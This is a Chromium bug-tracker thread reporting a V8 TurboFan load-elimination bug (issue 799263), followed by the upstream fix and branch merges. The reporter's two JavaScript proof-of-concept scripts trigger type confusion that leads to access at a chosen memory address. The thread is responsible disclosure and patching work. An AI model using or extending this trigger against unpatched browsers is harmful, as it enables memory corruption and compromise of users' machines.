Security: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind |
||||||||||||
Issue descriptionI think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { ... if (object_maps.contains(ZoneHandleSet<Map>(source_map))) { object_maps.remove(source_map, zone()); object_maps.insert(target_map, zone()); - AliasStateInfo alias_info(state, object, source_map); - state = state->KillMaps(alias_info, zone()); - state = state->AddMaps(object, object_maps, zone()); + state = state->SetMaps(object, object_maps, zone()); } ... } I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly. A PoC demonstrating type confusion: function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; // CheckMap removed, type confusion b[0] = 9.431092e-317; // 0x1234567 } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); %OptimizeFunctionOnNextCall(opt); opt(arr2, arr2); arr2[0].x // access 0x1234566 Without natives syntax: function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; b[0] = 9.431092e-317; // 0x1234567 // Force optimization for (let i = 0; i < 10000000; i++) { } } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); opt(arr2, arr2); arr2[0].x // access 0x1234566 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
,
Jan 5 2018
Thanks for the report. Verified that the PoC still reproduces on ToT. Also your suggested fix seems to address the problem, but I'll leave it to jarin@ to take a look.
,
Jan 5 2018
Great catch, thanks for the bug report and the fix!
,
Jan 5 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/6b30393536c44943076739e2eaf00f0a34c2d2c9 commit 6b30393536c44943076739e2eaf00f0a34c2d2c9 Author: Jaroslav Sevcik <jarin@chromium.org> Date: Fri Jan 05 10:53:41 2018 [turbofan] Kill transition-kind source map in load elimination. Bug: chromium:799263 Change-Id: I656d6b621234f2f0a7f379866a114b8cb66eca25 Reviewed-on: https://chromium-review.googlesource.com/852072 Reviewed-by: Tobias Tebbi <tebbi@chromium.org> Commit-Queue: Jaroslav Sevcik <jarin@chromium.org> Cr-Commit-Position: refs/heads/master@{#50379} [modify] https://crrev.com/6b30393536c44943076739e2eaf00f0a34c2d2c9/src/compiler/load-elimination.cc [add] https://crrev.com/6b30393536c44943076739e2eaf00f0a34c2d2c9/test/mjsunit/compiler/regress-799263.js
,
Jan 5 2018
,
Jan 5 2018
,
Jan 6 2018
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 8 2018
hablich for V8 review
,
Jan 11 2018
,
Jan 11 2018
abdulsyed@ - good for 64
,
Jan 12 2018
Approved for M64. Branch:3282
,
Jan 15 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8 commit eebeacc62b97ef02e8ee82827085c4fbbf15cdb8 Author: Jaroslav Sevcik <jarin@chromium.org> Date: Mon Jan 15 06:53:45 2018 Merged: [turbofan] Kill transition-kind source map in load elimination. Revision: 6b30393536c44943076739e2eaf00f0a34c2d2c9 BUG= chromium:799263 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=bmeurer@chromium.org Change-Id: Id5e723bb80404da9f214b80f8dbedce8eeda51e5 Reviewed-on: https://chromium-review.googlesource.com/866494 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Cr-Commit-Position: refs/branch-heads/6.4@{#51} Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1} Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724} [modify] https://crrev.com/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8/src/compiler/load-elimination.cc [add] https://crrev.com/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8/test/mjsunit/compiler/regress-799263.js
,
Jan 17 2018
,
Apr 13 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
||||||||||||
►
Sign in to add a comment |
||||||||||||
Comment 1 by elawrence@chromium.org
, Jan 4 2018